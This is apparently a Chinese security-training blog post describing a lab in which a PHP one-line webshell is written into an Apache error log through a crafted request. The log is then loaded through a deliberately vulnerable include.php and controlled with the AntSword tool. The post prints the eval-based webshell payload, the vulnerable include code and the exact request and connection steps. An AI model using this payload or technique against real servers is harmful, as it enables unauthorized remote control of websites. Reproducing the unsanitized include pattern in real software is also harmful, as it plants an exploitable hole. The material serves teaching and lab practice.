码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 【文件包含漏洞-04】经典面试题:已知某网站仅存在本地文件包含漏洞时,如何GetShell?


    目录

    • 1 实验介绍
    • 2 实验环境
    • 3 实验步骤
      • 3.1 包含日志文件getshell
      • 拓展
    • 4 总结

    1 实验介绍

    实验要求:假设攻击者已经知道某网站存在且仅存在本地文件包含漏洞,并且没有文件上传漏洞点及其他漏洞,如何GetShell。
    实验目的:利用本地文件包含漏洞GetShell。

    2 实验环境

    (1)靶机

    • 本文实验基于WAMP环境进行测试,环境部署过程参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,IP为172.16.1.1。

    • 查看靶机PHP版本。需要查看所搭建的服务器的PHP版本,下一步修改其配置。

    • 打开phpstudy安装文件夹,找到PHP-5.4.45版本对应文件夹,将文件php.ini中的allow_url_include参数设置为On,修改后记得保存并重启服务器。
      在这里插入图片描述

    • 在该环境网站根目录下,新建文件夹FileInclusion,在FileInclusion文件夹下新建以下文件进行实验。新建一个txt文件,输入以下代码,并重命名为include.php。

    <?php
    $path = $_GET['path'];
    echo "<h1>This is include.php!</h1>";
    include $path;
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    (2) 攻击机
    真实机上安装BurpSuite和中国蚁剑,相关软件的安装参考《【Burp Suite工具-1】BurpSuite简介及安装过程详解》、《【蚁剑工具-01】网站管理工具之中国蚁剑安装过程详解以及应用实例》。

    3 实验步骤

    3.1 包含日志文件getshell

    思路:由于没有存在文件上传点,而我们又需要服务器本地有个文件存在一句话木马代码,这时候我们想到,日志文件记录报错的方法,来往日志文件中“写入”一句话木马,然后再利用文件包含来执行日志文件中的一句话木马。具体步骤如下:

    (1)将访问include.php页面的URL链接http://172.16.1.1/FileInclusion/include.php复制,在BurpSuite的repeater模块中右键选择Paste URL as request以URL形式添加请求,点击发送,可以看到成功接收到响应,只是因为没有传递给path变量,所以提示出错。
    在这里插入图片描述
    (2)在请求行中,将文件路径修改请求为一句话代码<?php @eval($_REQUEST['cmd']);?>,点击发送,可以看到响应报错。
    在这里插入图片描述
    (3)服务器在请求报错后,在错误日志中就会增加一条响应记录。在靶机上我们打开Apache的错误日志,路径为C:\phpStudy\PHPTutorial\Apache\logs\error.log,可以看到新增了一个错误信息,并且该代码没有被引号所包括,能够被文件包含无条件执行。
    在这里插入图片描述

    (4)利用中国蚁剑连接。真实机中打开中国蚁剑→添加数据→填写URL地址和连接密码,其中URL地址http://172.16.1.1/FileInclusion/include.php?path=C:\phpStudy\PHPTutorial\Apache\logs\error.log,密码为cmd,点击添加。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    (5)管理服务器。添加后在软件主界面可以看到新添加的内容,双击即可管理服务器。
    在这里插入图片描述

    拓展

    (1) 包含session文件,造成session泄露
    (2)metinfo5.0.4文件包含漏洞代码审计

    4 总结

    思路:第一步利用一切可能让服务器本地某个文件中含有一句话木马;第二步文件包含之让代码执行。
    思考:如果错误日志不是在默认位置,应该如何找到或者是否有其他途经?
    思考:如果靶机存在远程文件包含漏洞,攻击者在服务器2号上写一个一句话木马文件,利用靶机远程文件包含该文件,并不能Get靶机Shell。后续应更加深入理解一句话木马的控制原理,以判断为什么无法实现,初步认为shell代码是在服务器2号上执行的。

  • 相关阅读:
    51单片机基础篇系列-点亮一个LED发光管&基础知识搭建
    element组件踩坑记录
    C专家编程 第1章 C:穿越时空的迷雾 1.2 C语言的早期体验
    LeetCode——622.设计循环队列
    XML Schema(XSD)详解:定义 XML 文档结构合法性的完整指南
    Linux 学习 -- 回顾shell脚本开发
    Spring Boot 整合 分布式搜索引擎 Elastic Search 实现 数据聚合
    前端学习开发之【Vue】-中
    [机缘参悟-47]:鬼谷子-第十一决篇-决策者,中庸也,利益合理化分配也
    基于云原生技术的融合通信是如何实现的?
  • 原文地址:https://blog.csdn.net/m0_64378913/article/details/125247946
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号